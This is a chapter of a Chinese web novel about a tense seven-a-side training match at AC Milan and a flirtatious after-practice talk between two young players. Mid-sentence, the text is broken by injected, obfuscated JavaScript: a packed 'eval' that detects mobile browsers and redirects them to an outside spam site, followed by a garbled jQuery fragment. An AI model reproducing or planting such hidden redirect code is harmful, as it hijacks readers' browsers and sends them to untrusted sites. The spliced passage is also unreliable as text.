下午两点，米兰内洛的训练场被一层薄薄的云遮盖住，偶尔有阳光从缝隙里漏下，在草坪上投下短暂的光斑。
这堂训练课，气氛比平时更安静。
没有人大声说笑，只有布料摩擦声，和钉鞋踩在草皮上的细碎声响。
这场比赛以7人制形式展开。
红队由托雷斯出任前锋，德容和诺瓦克组成中场，加西亚、桑托罗和贝尔纳迪组成三后卫，迭戈·洛佩斯把守球门。蓝队则采用231阵型，前锋是加洛，中场由蒙托利沃、洛伦佐和贺辰组成，里奇和阿巴特坐镇后防，阿比亚蒂担任门将。
吹哨前，因扎吉特意说了一句：“好好踢，不用太客气。”不知道是对谁的忠告。
红队开球。
托雷斯把球拨给诺瓦克，诺瓦克横敲给德容。
德容接球，抬起头，目光所及，是蓝队已经成型的防守策略：阿巴特压在外侧，里奇收进中路，与蒙托利沃搭档双后腰，而贺辰和洛伦佐在中圈附近活动，卡住两条传球路线。
托雷斯站在蓝队中场身后几步远的地方，背身，膝盖微屈，重心压得很低。
德容没有给他传球。
他把球斜向推给后插上的加西亚。
加西亚在左路边线接球，停球失误，球滚出界。他举起一只手，示意是自己的失误，随后表情变得很难看。
由于德容背对替补席，秦昶只能猜测，是荷兰中场“高压锅”的老毛病犯了。
他把目光放回训练场。
理论上，蓝队的阵容是7人制足球的标准阵型，而红队的321阵容更侧重防守。然而，比赛开始的前二十分钟，红队占据了控球优势，反倒是蓝队的防线压得很紧。
德容在中圈抢断蒙托利沃，脚弓一推找到前方的诺瓦克；诺瓦克垫给右路的加西亚，然后向前跑，准备接应。
加西亚在边线附近停球，向前推进了两步，抬头看了一眼禁区里的托雷斯，选择直接起球。
足球落向后点。
阿巴特起跳，把球顶出禁区。
下一秒，托雷斯出现在那里！
里奇一愣，随即上抢，却慢了半拍。
眼看托雷斯即将单刀破门，阿巴特从侧方飞铲过来，用脚尖把球蹭出底线。
阿巴特在地上滚了一圈才站起来，拍了拍身上的草屑。
这一球是他疏忽了。
然而，加洛记恨里奇在上午的训练跟他吵架，害他没面子，大声斥责道：“里奇，你怎么搞的？我们差点因为你丢球了！要睡觉回家睡去。”
里奇站在原地，表情僵硬，嘴唇抿成一条线。
阿巴特吼道：“够了！专心比赛！”
加洛看了阿巴特一眼，没有继续说下去。
只有贺辰注意到他的肩膀是绷着的。
第十八分钟，桑托罗在后场长传，势大力沉，足球直接飞向蓝队禁区。
托雷斯倚住里奇争顶，球落到加西亚脚下。加西亚向前突了几步，在阿巴特上抢前把球横敲给诺瓦克。
诺瓦克停球，先是一顿，观察情况，再用脚外侧一弹，球越过蒙托利沃，落到德容前边。
德容接球后低平球扫入禁区，托雷斯在前点包抄，射门，被阿比亚蒂用身体挡出。
蓝队的反击发生在一瞬间。
加西亚站位太靠前，他回传诺瓦克，被贺辰断球。
足球滚向洛伦佐。
洛伦佐加速，加西亚在他身后回追。贺辰跟着往前跑，同时喊了一声洛伦佐的名字。
洛伦佐抽空确定贺辰的跑位，随后，左脚把球拨向禁区弧顶的方向。
加洛正在禁区线上。
他没有向空当移动，也没有尝试向贺辰的方向靠拢，而是背对球门，用身体卡住桑托罗。
但他卡的位置不对，球被桑托罗拦截，一脚踢开。
洛伦佐停下来，闭了闭眼睛，两只手紧紧攥成拳头。贺辰经过他身边，也许是被他的幽怨气息吓到了，伸手拍了拍他的后背。
“我没事。”
贺辰心说，我看未必，你看起来像要把加洛炖了。不过，他选择尊重洛伦佐，小跑回自己的位置。
第二十二分钟，蒙托利沃在左路拉开宽度。他拿球，推给洛伦佐。
洛伦佐接球后抬头看了一眼，发现贺辰正从右路向中路移动，已经绕过贝尔纳迪的防守视野，出现在后腰和后卫之间。
他没有犹豫，一脚斜传，足球贴着草皮滚过去。
贺辰接球时背对进攻方向，因此，没有注意到加西亚已经贴了上来。
加西亚的动作很快。他的身体从侧面靠近，肩膀顶住贺辰的手臂，一只脚伸到贺辰两脚之间去够球。贺辰身体一歪，加西亚顺势扶住他的腰，手贴在少年胯骨上方的位置，拇指不轻不重地按了一下。
贺辰的身体僵了一瞬。
“小家伙，笨手笨脚的。”
不等加西亚说完，贺辰立刻从他手下挣开，好像被烙铁烫到一样。
念及正在比赛，少年没有过多纠缠，而是往斜前方跨了一步，脚背一弹，把球传回给蒙托利沃。
不料，加西亚阴魂不散，跟贺辰始终保持不到半步的距离。
他倒是不动手动脚，贺辰却有一种不舒服的感觉。
同样是贴身防守，维加那次防的他火大，这回却是一股凉意从脊椎尾端蜿蜒而上，好像有蛇在爬。
这时，蒙托利沃往加西亚的方向挪了半步，刚好挡在他和贺辰之间。
他的动作非常自然，就像他本来就要往那个方向去。但在其他人看不见的地方，蒙托利沃瞪了加西亚一眼。
他再嫌贺辰，也不能让加西亚把歪主意打到少年身上。
加西亚耸耸肩，退回去，重新站好。
趁死球，因扎吉用埃辛换下加西亚、梅克斯换下里奇的空档，蒙托利沃对贺辰说：“按照你自己的方式踢。”
贺辰咬住下唇，想了想，点了点头。
埃辛上来后，红队的防守不再是三后卫的站位，而是两中卫加两边卫的紧凑阵型，埃辛和诺瓦克在中路的拦截让蓝队的前场推进变得更加困难。
加洛不能再站在禁区里干等了，他不得不回撤到中场接球，在距离红队球门更远的地方发起进攻。
第二十八分钟，加洛在禁区前沿背身护球，埃辛从他身后顶上来，膝盖顶在了他的大腿上，脚伸到他两腿之间够球。
加洛摔在地上，球被诺瓦克捅走。
他下意识想骂人，可埃辛人高马大，视线接触的瞬间，加洛就怂了，咽下哑巴亏。
上半场结束的哨声响起，红、蓝双方互交白卷。
因扎吉叫住加洛，对他说：“伊戈尔，你的表现不错，不要急躁，记住，不是每个球都要在禁区里完成。”
加洛点点头。
因扎吉又叫来秦昶和加瑞尔，给他们分配任务。
贺辰无事可做，对着教练发呆，忽然觉得有人偷瞄他。他抬头，跟秦昶四目相对。秦昶指指自己又指指加瑞尔，贺辰眨眨眼睛，比划了一个“OK”的手势。
贺辰起身，走到蒙托利沃跟前。
“队长。”
“什么事？”
“下半场可以和我换位置么？”
上半场，蒙托利沃拖后，贺辰和洛伦佐更多承担边卫的职责，洛伦佐还额外承担了前场的梳理工作。
7人制，人少，贺辰反而不会指挥。他能说什么？怎么说？其他人什么反应？
该死的，他在阿贾克斯，甚至直到昨天上午，还是想嘴谁就嘴谁。而刚才在场上，他不得不用尽毕生涵养，才能在队友怄气和浪费机会时，控制住自己不把他们骂的狗血淋头。
憋话伤身。
他什么时候受过这种委屈？！
蒙托利沃沉默不语。
贺辰也知道自己的要求过分，也不说话，头埋得很低，从下往上看蒙托利沃，眼睛里盛满希翼。
“我和Pippo商量一下。”
过了一会儿，安德烈亚·波利走过来。
“你好，贺辰。”他朝贺辰伸出手。
贺辰握住他的手，笑着说：“波利，第三次同队了。”
波利愣了愣，他无法收回手捂耳朵，只能寄希望于贺辰视力不好，看不出他红彤彤的耳根。他说：“……Pippo和队长让我听你的。你需要我做什么？”
“不间断地奔跑，撕扯防线，扰乱对方站位。这意味着你需要做出牺牲，你可以接受么？”
波利用力点了点头。
下半场，加瑞尔的活动范围明显大于加洛，而且差不多都是有效跑动。他不只是站在禁区里等待机会，还频繁回撤到中场接应，与洛伦佐、贺辰形成三角。
第四十三分钟，加瑞尔在禁区右侧接洛伦佐的直塞球后横传中路，可惜，波利跟进的脚步慢了半拍。
加瑞尔没有抱怨，搂住波利揉他的头，洛伦佐警惕地后退几步。
第四十五分钟，加瑞尔在禁区外远射，球带着明显的外旋偏出右侧立柱。贺辰注意到，加瑞尔在发力时，他的脚踝有一次细微的调整。
随后，贺辰稍微分出一点注意力，放在加瑞尔身上。
加瑞尔在禁区弧顶接到他的横传球，没有停球，直接用右脚外侧把球拨向右侧，整个人顺势转身，向禁区内切入。
他的动作很连贯，但发力方式透露出一些不寻常的东西——他的右脚在触球时脚踝的锁定角度略小，像是特意避免用脚背全力触球。
训练结束后，贺辰主动找到加瑞尔，问他右脚踝是不是受过伤。
“是。我十七岁时，右脚踝骨折加韧带撕裂，休养了八个月。你问这个干什么？”
贺辰点点头，回答道：“你处理球的方式比较独特，身体会下意识避免过度旋转脚踝。”
“这样吗？你观察得很仔细啊。”
贺辰摇摇头，羞涩地笑了。
少年的笑是含蓄的，不露齿，浅浅一弯月牙挂在脸庞，眼睛里有一汪清澈的湖，湖底沉积着被夸奖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17931468|208974||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的喜悦和得意。
恰逢秦昶的车闯进两人的视野，而后用比乌龟还慢的速度缓缓向前移动。
加瑞尔知道他们两个关系好，不当讨人嫌的“第三者”，摆摆手走了。
贺辰走近。
秦昶停稳车，降下车窗，问：“你怎么回去？”
“苏女士一会儿来接我。”
“反正咱俩都在一支队伍里了，干脆别麻烦苏阿姨了，我开车接送你吧。”
“……苏女士她，她对没有照顾好我感觉很挫败，说要好好照顾我……”
“我第一次见负罪感驱动的家庭。”秦昶嘀咕完，问贺辰，“你呢？你想增进还是维持你们现在的关系？”
贺辰移开视线。
他和苏嘉平都是有边界的类型，在荷兰有苏醒春这款胶水，能把两块同极磁铁牢牢黏在一起。在意大利呢？难道要一直保持这种“你对我好导致我亏欠你所以我对你好”的诡异状态？
半晌，少年极轻极快地点了点头，但凡秦昶走神或近视，肯定注意不到这个动作。
“你相信我吗？”
“……你要干什么？”
“你要是信我就啥也别问，只管配合我行动，放心，我绝对不会坑你。”
贺辰沉默片刻，摇摇头，用最软弱的态度说出最没有底气的话。“我想先试一试，如果我做不到，再找你帮忙？”
“我的求助热线时刻对你保持畅通。”秦昶眨眨眼睛，做出打电话的手势。
“为什么？因为我们是队友加邻居？”
“因为我们是无话不谈的好朋友。”
贺辰挑眉，嗤笑一声：“得了吧，还‘无话不谈的好朋友’，你今天一整天都没找我说话，就因为我开玩笑说保持距离？”
闻言，秦昶的笑容瞬间消失，板着脸，硬邦邦地说：“因为你进一线队这么大的事不告诉我。”
说完，他换上另一副面孔。他抹了一把不存在的眼泪，掐尖了嗓子，声泪俱下地控诉贺辰：“你跟我有秘密了。我们之间有隔阂了。”
贺辰气笑了。
“我告诉你一个秘密好不好呀？”
秦昶洗耳恭听。
“前天晚上，我找你，你不开门，我翻栅栏进的你家，落地时出了点小状况，踩折了几朵山茶花。”
“几朵？！”秦昶的声音猛然拔高。
贺辰也不甘示弱，语速飞快地说：“说到底还是你不给我开门，害的我只能翻墙，才踩到了你的花。你刚才还说我们是‘无话不谈的好朋友’，我把秘密告诉你了你又生气，难不成你要跟我绝交？”
秦昶想说我才不会跟你绝交，又自尊心作祟，升起车窗，决定跟贺辰冷战到底。
贺辰瞅准时机，抬手卡住车玻璃。
秦昶赶紧降下车窗。
“你干什么？！”
万一伤着你怎么办？！
“刚才是跟你开玩笑，我告诉你一个正经的关于我的秘密。”
秦昶撇撇嘴，侧过头不看他，心里却非常想知道贺辰口中的秘密指什么。
“我打了耳洞。”
秦昶想说我知道，可话还没说出口，就被骤然逼近的温热气息堵住了喉咙。
他一扭头，鼻尖擦过贺辰的发梢，闻到了洗发水残留的薄荷凉意，像一片落在皮肤上的雪花。
贺辰几乎把小半个身子都探进了车窗里，两条手臂交叠着撑在窗沿上，笑盈盈地看着秦昶。
一双丹凤眼微微弯起，瞳仁里清清楚楚地映着秦昶发愣的面孔。
嘴角的小痣随着说话的节奏跳动，忽上忽下，像停驻在笑里的标点。
“苏醒春青春期叛逆非要打耳洞，家里不让，他就拉着我偷偷去。结果到了地方，苏醒春看了人家是怎么打的，怕疼，又不想打了。你说他是不是有病？”
秦昶愣愣地点了点头，后脑勺差点磕在驾驶座的靠枕上。
太近了。
近到他能闻见贺辰身上干净的气味。
“可他交了钱，为了不让钱打水漂，我代替他打了耳洞。打耳洞不是我愿意的，所以我没带首饰，只插了两根小棒，因为让它长死太亏了。”
秦昶的耳朵嗡嗡作响。
贺辰说的话，他只模模糊糊抓住了几个音节，像一连串气泡从水底浮上来，还没等他伸手去捞就破了。
“苏女士来啦？我先走了。明天见，秦昶。”
贺辰后退半步，晚风趁机灌进车里，吹散了刚才令人眩晕的热气。
秦昶机械地嗯了一声，目光却像被丝线牵引，一路追着贺辰，直到那个背影钻进车里。
他这才发现自己握着方向盘的指节已经泛白，手心里全是汗。
心脏在胸腔里跟擂鼓似的跳，一下比一下急，一下比一下沉，像有人把受惊的鸟塞进他的肋骨笼子里。
秦昶缓缓靠回椅背，闭上眼睛。
我这是怎么了？
周围安静下来，只有心脏固执地跳动着，好像在回答那个他不敢问出口的问题。